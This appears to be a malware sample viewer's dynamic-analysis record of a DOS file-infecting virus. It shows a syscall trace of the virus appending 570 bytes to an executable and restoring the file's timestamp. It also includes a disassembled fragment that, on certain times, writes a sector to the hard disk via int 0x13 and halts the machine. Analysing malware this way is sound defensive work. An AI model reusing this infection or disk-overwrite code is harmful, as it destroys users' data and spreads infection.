Sample viewer

vx.netlux.org/Virus.DOS.Fdate1111.570.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:57:46.453166328Z 26 PC: 13c85 | Set disk transfer address
2018-12-17T22:57:46.45552696Z 78 PC: 13c8f | Find first file
2018-12-17T22:57:46.462596796Z 61 PC: 13cab | Open file (Filename = 'TEST.EXE')
2018-12-17T22:57:46.470310745Z 87 PC: 13cbd | Get or set file date and time
2018-12-17T22:57:46.472442273Z 66 PC: 13cd3 | Move file pointer
2018-12-17T22:57:46.474378902Z 63 PC: 13ce6 | Read file or device (Read 2 bytes on handle 5)
2018-12-17T22:57:46.47752664Z 66 PC: 13cf6 | Move file pointer
2018-12-17T22:57:46.47938382Z 64 PC: 13d04 | Write file or device (Write 2 bytes on handle 5)
2018-12-17T22:57:46.483703263Z 63 PC: 13d12 | Read file or device (Read 2 bytes on handle 5)
2018-12-17T22:57:46.486479154Z 66 PC: 13d22 | Move file pointer
2018-12-17T22:57:46.488100109Z 66 PC: 13d69 | Move file pointer
2018-12-17T22:57:46.490246892Z 63 PC: 13d77 | Read file or device (Read 2 bytes on handle 5)
2018-12-17T22:57:46.494159087Z 66 PC: 13d9e | Move file pointer
2018-12-17T22:57:46.496007172Z 64 PC: 13dac | Write file or device (Write 2 bytes on handle 5)
2018-12-17T22:57:46.500984576Z 44 PC: 13db0 | Get time 0x13db0: cmp dl, 0x10
0x13db3: je 0x13dc2
0x13db5: cmp dl, 0x20
0x13db8: je 0x13dc2
0x13dba: cmp dl, 0x30
0x13dbd: je 0x13dc2
0x13dbf: jmp 0x13dd1
0x13dc1: nop
0x13dc2: mov ax, 0x301
0x13dc5: mov cx, 1
0x13dc8: mov dx, 0x80
0x13dcb: int 0x13
0x13dcd: jb 0x13dd1
0x13dcf: cli
0x13dd0: hlt
0x13dd1: mov bx, 0x247
0x13dd4: mov byte ptr cs:[bx], dl
0x13dd7: mov bx, 0x24f
0x13dda: xor byte ptr cs:[bx], dl
0x13ddd: inc bx
2018-12-17T22:57:46.503776073Z 66 PC: 13df6 | Move file pointer
2018-12-17T22:57:46.505237228Z 64 PC: 13e04 | Write file or device (Write 570 bytes on handle 5)
2018-12-17T22:57:46.521291167Z 66 PC: 13e14 | Move file pointer
2018-12-17T22:57:46.523207071Z 66 PC: 13e36 | Move file pointer
2018-12-17T22:57:46.525191297Z 64 PC: 13e44 | Write file or device (Write 2 bytes on handle 5)
2018-12-17T22:57:46.535297022Z 87 PC: 13e54 | Get or set file date and time
2018-12-17T22:57:46.536915855Z 62 PC: 13e5c | Close file
2018-12-17T22:57:46.543198939Z 26 PC: 13e65 | Set disk transfer address
2018-12-17T22:57:46.544396874Z 9 PC: 12a82 | Display string (Could not find end pointer)
2018-12-17T22:57:46.547810089Z 76 PC: 12a87 | Terminate with return code (Return code = '0')